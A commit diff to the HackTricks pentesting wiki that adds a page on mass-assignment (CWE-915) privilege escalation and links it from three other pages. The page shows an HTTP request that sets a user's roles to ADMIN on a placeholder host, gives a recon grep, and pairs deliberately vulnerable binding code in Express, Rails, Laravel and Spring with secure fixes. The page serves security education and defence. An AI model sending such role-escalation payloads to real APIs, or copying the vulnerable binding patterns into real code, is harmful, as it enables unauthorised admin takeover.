Skip to content

Commit ff2dc4f

Browse files
authored
Merge pull request #1515 from HackTricks-wiki/update_FIA_Driver_Categorisation__Admin_Takeover_via_Mass_20251023_011933
FIA Driver Categorisation Admin Takeover via Mass Assignment...
2 parents 3ad652a + ffda2dc commit ff2dc4f

File tree

4 files changed

+176
-0
lines changed

4 files changed

+176
-0
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -668,6 +668,7 @@
668668
- [LDAP Injection](pentesting-web/ldap-injection.md)
669669
- [Login Bypass](pentesting-web/login-bypass/README.md)
670670
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
671+
- [Mass Assignment Cwe 915](pentesting-web/mass-assignment-cwe-915.md)
671672
- [NoSQL injection](pentesting-web/nosql-injection.md)
672673
- [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
673674
- [Open Redirect](pentesting-web/open-redirect.md)

src/pentesting-web/json-xml-yaml-hacking.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -172,6 +172,12 @@ Result:
172172
| libyaml ≤0.2.5 double-free | Upgrade to **0.2.6** or distro-patched release |
173173
| RapidJSON <patched commit | Compile against latest RapidJSON (≥July 2024) |
174174

175+
## See also
176+
177+
{{#ref}}
178+
mass-assignment-cwe-915.md
179+
{{#endref}}
180+
175181
## References
176182

177183
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
# Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
2+
3+
{{#include ../banners/hacktricks-training.md}}
4+
5+
Mass assignment (a.k.a. insecure object binding) happens when an API/controller takes user-supplied JSON and directly binds it to a server-side model/entity without an explicit allow-list of fields. If privileged properties like roles, isAdmin, status, or ownership fields are bindable, any authenticated user can escalate privileges or tamper with protected state.
6+
7+
This is a Broken Access Control issue (OWASP A01:2021) that often enables vertical privilege escalation by setting roles=ADMIN or similar. It commonly affects frameworks that support automatic binding of request bodies to data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).
8+
9+
## 1) Finding Mass Assignment
10+
11+
Look for self-service endpoints that update your own profile or similar resources:
12+
- PUT/PATCH /api/users/{id}
13+
- PATCH /me, PUT /profile
14+
- PUT /api/orders/{id}
15+
16+
Heuristics indicating mass assignment:
17+
- The response echoes server-managed fields (e.g., roles, status, isAdmin, permissions) even when you didn’t send them.
18+
- Client bundles contain role names/IDs or other privileged attribute names used throughout the app (admin, staff, moderator, internal flags), hinting bindable schema.
19+
- Backend serializers accept unknown fields without rejecting them.
20+
21+
Quick test flow:
22+
1) Perform a normal update with only safe fields and observe the full JSON response structure (this leaks the schema).
23+
2) Repeat the update including a crafted privileged field in the body. If the response persists the change, you likely have mass assignment.
24+
25+
Example baseline update revealing schema:
26+
```http
27+
PUT /api/users/12934 HTTP/1.1
28+
Host: target.example
29+
Content-Type: application/json
30+
31+
{
32+
"id": 12934,
33+
"email": "[email protected]",
34+
"firstName": "Sam",
35+
"lastName": "Curry"
36+
}
37+
```
38+
Response hints at privileged fields:
39+
```http
40+
HTTP/1.1 200 OK
41+
Content-Type: application/json
42+
43+
{
44+
"id": 12934,
45+
"email": "[email protected]",
46+
"firstName": "Sam",
47+
"lastName": "Curry",
48+
"roles": null,
49+
"status": "ACTIVATED",
50+
"filters": []
51+
}
52+
```
53+
54+
55+
## 2) Exploitation – Role Escalation via Mass Assignment
56+
57+
Once you know the bindable shape, include the privileged property in the same request.
58+
59+
Example: set roles to ADMIN on your own user resource:
60+
```http
61+
PUT /api/users/12934 HTTP/1.1
62+
Host: target.example
63+
Content-Type: application/json
64+
65+
{
66+
"id": 12934,
67+
"email": "[email protected]",
68+
"firstName": "Sam",
69+
"lastName": "Curry",
70+
"roles": [
71+
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
72+
]
73+
}
74+
```
75+
If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.
76+
77+
Notes
78+
- Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like "roles", "ADMIN", "STAFF", or numeric role IDs.
79+
- If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.
80+
81+
82+
## 3) Client Bundle Recon for Schema and Role IDs
83+
84+
- Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
85+
- Look for arrays/maps of roles, permissions, or feature flags. Build payloads matching the exact property names and nesting.
86+
- Typical indicators: role name constants, dropdown option lists, validation schemas.
87+
88+
Handy greps against a downloaded bundle:
89+
```bash
90+
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
91+
```
92+
93+
94+
## 4) Framework Pitfalls and Secure Patterns
95+
96+
The vulnerability arises when frameworks bind req.body directly onto persistent entities. Below are common mistakes and minimal, secure patterns.
97+
98+
**Node.js (Express + Mongoose)**
99+
100+
Vulnerable:
101+
```js
102+
// Any field in req.body (including roles/isAdmin) is persisted
103+
app.put('/api/users/:id', async (req, res) => {
104+
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
105+
res.json(user);
106+
});
107+
```
108+
Fix:
109+
```js
110+
// Strict allow-list and explicit authZ for role-changing
111+
app.put('/api/users/:id', async (req, res) => {
112+
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
113+
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
114+
res.json(user);
115+
});
116+
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
117+
```
118+
119+
**Ruby on Rails**
120+
121+
Vulnerable (no strong parameters):
122+
```rb
123+
def update
124+
@user.update(params[:user]) # roles/is_admin can be set by client
125+
end
126+
```
127+
Fix (strong params + no privileged fields):
128+
```rb
129+
def user_params
130+
params.require(:user).permit(:first_name, :last_name, :nick_name)
131+
end
132+
```
133+
134+
**Laravel (Eloquent)**
135+
136+
Vulnerable:
137+
```php
138+
protected $guarded = []; // Everything mass-assignable (bad)
139+
```
140+
Fix:
141+
```php
142+
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
143+
```
144+
145+
**Spring Boot (Jackson)**
146+
147+
Vulnerable pattern:
148+
```java
149+
// Directly binding to entity and persisting it
150+
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
151+
```
152+
Fix: Map to a DTO with only allowed fields and enforce authorization:
153+
```java
154+
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
155+
```
156+
Then copy allowed fields from DTO to the entity server-side, and handle role changes only in admin-only handlers after RBAC checks. Use @JsonIgnore on privileged fields if necessary and reject unknown properties.
157+
158+
Go (encoding/json)
159+
- Ensure privileged fields use json:"-" and validate with a DTO struct that includes only allowed fields.
160+
- Consider decoder.DisallowUnknownFields() and post-bind validation of invariants (roles cannot change in self-service routes).
161+
162+
## References
163+
164+
- [FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)](https://ian.sh/fia)
165+
- [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
166+
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
167+
168+
{{#include ../banners/hacktricks-training.md}}

src/pentesting-web/web-vulnerabilities-methodology.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -127,6 +127,7 @@ These vulnerabilities might help to exploit other vulnerabilities.
127127

128128
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
129129
- [ ] [**IDOR**](idor.md)
130+
- [ ] [**Mass Assignment (CWE-915)**](mass-assignment-cwe-915.md)
130131
- [ ] [**Parameter Pollution**](parameter-pollution.md)
131132
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
132133

0 commit comments

Comments
 (0)